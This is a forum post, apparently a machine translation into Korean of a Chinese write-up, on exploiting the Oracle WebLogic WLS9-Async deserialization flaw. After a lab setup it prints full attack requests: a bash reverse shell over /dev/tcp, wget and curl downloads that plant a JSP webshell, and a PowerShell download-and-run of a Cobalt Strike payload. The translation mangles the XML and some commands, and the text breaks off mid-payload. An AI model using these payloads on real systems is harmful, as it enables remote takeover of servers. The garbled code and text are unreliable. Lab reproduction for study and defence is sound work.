KoreanHackerTeam
Moderator
0x00 事件背景
2019 년 4 월 17 일, 국가 정보 보안 취약성 공유 플랫폼 (CNVD)에는 Oracle Weblogic WLS9-Async 원격 사령부 실행 취약성 (CNVD-C-2019-4814)이 포함되어 China Minsheng Bank Co. Ltd. Ltd. Ltd. 현재 공식 패치는 공개되지 않았으며 취약성의 세부 사항은 공개되지 않았습니다. 이 취약점에 대한 CNVD의 포괄적 인 등급은 "높은 위험"입니다.0x01 漏洞情况分析
Weblogic Server는 미국 오라클이 개발 한 클라우드 및 전통적인 환경을위한 애플리케이션 서비스 미들웨어입니다. 개발에서 생산에서 응용 프로그램의 전체 수명주기 관리를 지원하고 애플리케이션 배포 및 관리를 단순화하는 최신 경량 개발 플랫폼을 제공합니다.WLS9_ASYNC_RESPONSE 패키지는 일부 버전의 WebLogic에 기본적으로 포함 된 Weblogic 서버에 비동기 통신 서비스를 제공합니다. 전쟁 패킷은 입력 정보를 사로화하는 데 결함이 있기 때문에 공격자는 신중하게 구성된 악의적 인 HTTP 요청을 보내고 대상 서버에 권한을 얻고 권한없이 명령을 원격으로 실행할 수 있습니다.
취약성에 대한 CNVD의 포괄적 인 등급은 "위험이 높습니다"입니다.
0x02 취약성 설명
최근 인터넷은 WeblogicWLS9-Async에서 원격 명령 실행을 실시하기 위해 취약성을 노출했습니다. 공격자는이 취약점을 악용하여 승인없이 원격으로 명령을 실행합니다. 취약점은 위험 수준이 높습니다. 현재 공식 패치는 공개되지 않았으며 취약성의 세부 사항은 공개되지 않았습니다.
0x02 漏洞影响范围
1. 제품에 영향을 미칩니다.Oracle Weblogic Server10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server12.2.1.1.0
Oracle Weblogic Server12.2.1.2.0
2. 구성 요소에 영향을 미칩니다.
bea_wls9_async_response.war
wsat.war
0x03 漏洞复现
1. liunx에 따른 환경 구성공격 항공기 : KALI2019
취약성 대상 기계 : Ubuntu16.04 (Docker Vulhub) Weblogic10.3.6 (WLS1036_Generic.jar)
1. Ubuntu 16.04에 Docker 및 Docker-Compose를 설치하십시오.
(1). PIP를 설치하십시오
curl -s https://bootstrap.pypa.io/get-pip.py | python3
(2). Docker를 설치하십시오
curl -s https://get.docker.com/| 쉿
(3). Docker 서비스를 시작하십시오
Service Docker Start
(4). Docker Compose를 설치하십시오
PIP Docker-Compose를 설치하십시오
2. 사용 방법
(1). 취약성 환경 프로젝트를 다운로드합니다
git 클론 https://github.com/vulhub/vulhub.git
(2). Nexus Utilization 환경에 들어갑니다
CD vulhub/weblogic/cve-2017-10271
(3). Weblogic 서비스를 시작하려면 다음 명령을 실행하십시오
Docker -Compose Up -D


3.检测方法사용자는 경로에 액세스하여 구성 요소가 활성화되는지 여부를 결정할 수 있습니다. 다음 페이지로 돌아 오면이 구성 요소가 활성화됩니다. 적시에 보호 조치를 취하십시오
URL (http://ip: PORT/_ASYNC/)을 열어 오류 403을 프롬프트하고 "RFC 2068 하이퍼 텍스트 전송 프로토콜 -HTTP/1.1:"의 "Oracle Weblogic WLS9-Async Desterialization Remote Comment Develnerabilitions가 있는지 결정합니다.
로드 중...
149.248.54.82

로드 중...
149.248.54.82

2. Linux의 취약성 착취
1. 리바운드 쉘 활용 :
(1). 공격 기계 호스트의 IP 주소는 다음과 같습니다. NC를 사용하여 리바운드 포트를 모니터링합니다.


(2). 다음 그림과 같이 Burpsuit를 통해 공격 패킷을 Weblogic Service에 보내십시오.
post/_async/asyncresponesservice http/1.1
Host: IP: 포트
컨텐츠 길이 : 853
accept-encoding: gzip, deflate
SOAPACTION:
accept: */*
user-agent: apache-httpclient/4.1.1 (Java 1.5)
Connection: 유지-알리
컨텐츠 -type: 텍스트/XML
SOAPENV:ENVELOPE XMLNS:SOAPENV='http://schemas.xmlsoap.org/SOAP/봉투/'XMLNS:WSA='http://WWW.W3.org/2005/08/주소 지정' XMLNS:ASY='http://www.bea.com/async/asyncresponseservice'
SOAPENV: 헤더
WSA:ActionXX/WSA:Action
WSA:RELATESTOXX/WSA:RELATESTO
Work:WorkContext XMLNS:Work='http://bea.com/2004/06/soap/workArea/'
void class='java.lang.processBuilder'
배열 클래스='java.lang.string'length='3'
void index='0'
문자열/빈/bash/문자열
/무효의
void index='1'
String-C/String
/무효의
무효 인덱스='2'
Stringbash -i gt; amp; /dev/tcp/vpsip/vpsport 0gt; amp; 1/string
/무효의
/정렬
void method='start'//void
/work:WorkContext
/SOAPENV:header
SOAPENV:BIBORD
asy

/SOAPENV:Body/SOAPENV:Envelope

(3). 쉘의 성공적인 반등을 볼 수 있습니다
2. 웹 쉘 업로드
(1). Kali Attack Machine에서 간단한 웹 서버를 구축 한 다음 webshll.txt를 그 아래에 배치 할 수 있습니다.
(2) 다음 POC를 사용하여 전송 공격을 수행하십시오.
POC1:
post/_async/asyncresponesservice http/1.1
Host: IP: 포트
컨텐츠 길이 : 789
accept-encoding: gzip, deflate
SOAPACTION:
accept: */*
user-agent: apache-httpclient/4.1.1 (Java 1.5)
Connection: 유지-알리
컨텐츠 -type: 텍스트/XML
SOAPENV:ENVELOPE XMLNS:SOAPENV='http://schemas.xmlsoap.org/SOAP/봉투/'XMLNS:WSA='http://WWW.W3.org/2005/08/주소 지정' XMLNS:ASY='http://www.bea.com/async/asyncresponseservice'
SOAPENV: 헤더
WSA:ActionXX/WSA:Action
WSA:RELATESTOXX/WSA:RELATESTO
Work:WorkContext XMLNS:Work='http://bea.com/2004/06/soap/workArea/'
void class='java.lang.processBuilder'
배열 클래스='java.lang.string'length='3'
void index='0'
문자열/빈/bash/문자열
/무효의
void index='1'
String-C/String
/무효의
무효 인덱스='2'
StringWget http://vpsip:vpsport/webshell.txt -o 서버/Adminserver/tmp/_wl_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp/string
/무효의
/정렬
void method='start'//void
/work:WorkContext
/SOAPENV:header
SOAPENV:BIBORD
asy

/SOAPENV:Body/SOAPENV:Envelope
POC2:
post/_async/asyncresponesservice http/1.1
Host: IP: 포트
컨텐츠 길이 : 789
accept-encoding: gzip, deflate
SOAPACTION:
accept: */*
user-agent: apache-httpclient/4.1.1 (Java 1.5)
Connection: 유지-알리
컨텐츠 -type: 텍스트/XML
SOAPENV:ENVELOPE XMLNS:SOAPENV='http://schemas.xmlsoap.org/SOAP/봉투/'XMLNS:WSA='http://WWW.W3.org/2005/08/주소 지정' XMLNS:ASY='http://www.bea.com/async/asyncresponseservice'
SOAPENV: 헤더
WSA:ActionXX/WSA:Action
WSA:RELATESTOXX/WSA:RELATESTO
Work:WorkContext XMLNS:Work='http://bea.com/2004/06/soap/workArea/'
void class='java.lang.processBuilder'
배열 클래스='java.lang.string'length='3'
void index='0'
문자열/빈/bash/문자열
/무효의
void index='1'
String-C/String
/무효의
무효 인덱스='2'
StringCurl http://vpsip:vpsport/webshell.txt -o 서버/Adminserver/tmp/_wl_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp/string
/무효의
/정렬
void method='start'//void
/work:WorkContext
/SOAPENV:header
SOAPENV:BIBORD
asy

/SOAPENV:Body/SOAPENV:Envelope
(3). 액세스 웹 쉘
로드 중...
149.248.54.82
1. Weblogic12.1.3.0.0 설치
다운로드 주소 : https://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html
설치 시작 : (Java 환경 지원이 필요하고 Java 환경 변수를 구성해야합니다).
다음 설치 패키지 중 하나를 선택하면 12.1.3.0을 선택했습니다.
2. 실행하려면 CMD를 엽니 다 :
C: \ 프로그램 파일 \ java \ jdk1.8.0_152 \ bin \ java -jar c: \ fmw_12.1.3.0.0_wls.jar
C: \ Program Files \ java.exe를 사용하여 Weblogic12C JAR 패키지를 실행하기위한 C: \ Program Files \ Java \ JDK1.8.0_121 \ bin \ Directory (기본 순서가 사용됩니다. 가장 먼저 사용하는 것은 C: \ Program에서 Java.exe입니다. 파일 \ java \ jdk1.8.0_121 \ jre \ bin \가 사용되므로 패키지 jre는 유효한 jdk가 아닙니다). 따라서 CMD에서는 C: \ Program 파일을 입력해야합니다. \ java \ jdk1.8.0_152 \ bin \ java -jar c: \ fmw_12.1.3.0.0_wls.jar (프로그램 파일 대신 ~ 1을 사용하는 이유는 기간이 잘못되기 때문입니다).
3. 잠시 기다리면 설치 프로그램이 나타납니다.
4. 구성이 완료되면 startWeblogic.cmd를 찾아서 두 번 클릭하여 weblodgic을 시작하십시오.
5. 액세스 http://127.0.0.133607001/콘솔 확인
4. Windows에서 취약성이 악용 :
1. 주소 http://IP

2. 쉘을 반등 시키려면 CobaltStrike를 직접 사용하여 페이로드를 생성 할 수 있습니다 .ps1 PowerShell 스크립트 스크립트를 공개 네트워크에 넣은 다음 다음 POC를 사용하여 다음을 보낼 수 있습니다.
post/_async/asyncresponesservice http/1.1
Host: IP: 포트
컨텐츠 길이 : 861
accept-encoding: gzip, deflate
SOAPACTION:
accept: */*
user-agent: apache-httpclient/4.1.1 (Java 1.5)
Connection: 유지-알리
컨텐츠 -type: 텍스트/XML
SOAPENV:ENVELOPE XMLNS:SOAPENV='http://schemas.xmlsoap.org/SOAP/봉투/'XMLNS:WSA='http://WWW.W3.org/2005/08/주소 지정' XMLNS:ASY='http://www.bea.com/async/asyncresponseservice'
SOAPENV: 헤더
WSA:ActionXX/WSA:Action
WSA:RELATESTOXX/WSA:RELATESTO
Work:WorkContext XMLNS:Work='http://bea.com/2004/06/soap/workArea/'
void class='java.lang.processBuilder'
배열 클래스='java.lang.string'length='3'
void index='0'
StringCmd/String
/무효의
void index='1'
문자열/c/문자열
/무효의
무효 인덱스='2'
StringPowershell 'IEX (New-Object Net.WebClient) .DownloadString ('http://IP

/무효의
/정렬
void method='start'//void
/work:WorkContext
/SOAPENV:header
SOAPENV:BIBORD
asy

/SOAPENV:Body/SOAPENV:Envelope
CobalStrike에서 대상 시스템을 성공적으로 튀는 쉘을 볼 수 있습니다.
3. 웹 쉘 업로드
(1). 공개 호스트에 webshell.txt를 배치하십시오 (여기 Kali 호스트는 다음과 같습니다)
2. 다음 POC를 사용하여 요청을 보내십시오.
POC1:
post/_async/asyncresponesservice http/1.1
Host: IP: 포트
컨텐츠 길이 : 854
accept-encoding: gzip, deflate
SOAPACTION:
accept: */*
user-agent: apache-httpclient/4.1.1 (Java 1.5)
Connection: 유지-알리
컨텐츠 -type: 텍스트/XML
SOAPENV:ENVELOPE XMLNS:SOAPENV='http://schemas.xmlsoap.org/SOAP/봉투/'XMLNS:WSA='http://WWW.W3.org/2005/08/주소 지정' XMLNS:ASY='http://www.bea.com/async/asyncresponseservice'
SOAPENV: 헤더
WSA:ActionXX/WSA:Action
WSA:RELATESTOXX/WSA:RELATESTO
Work:WorkContext XMLNS:Work='http://bea.com/2004/06/soap/workArea/'
void class='java.lang.processBuilder'
배열 클래스='java.lang.string'length='3'
void index='0'
StringCmd/String
/무효의
void index='1'
문자열/c/문자열
/무효의
무효 인덱스='2'
StringPowerShell (new-Object System.net.webclient) .downloadFile ( 'http://IP

/무효의
/정렬
void method='start'//void
/work:WorkContext
/SOAPENV:header
SOAPENV:BIBORD
asy

/SOAPENV:Body & Lt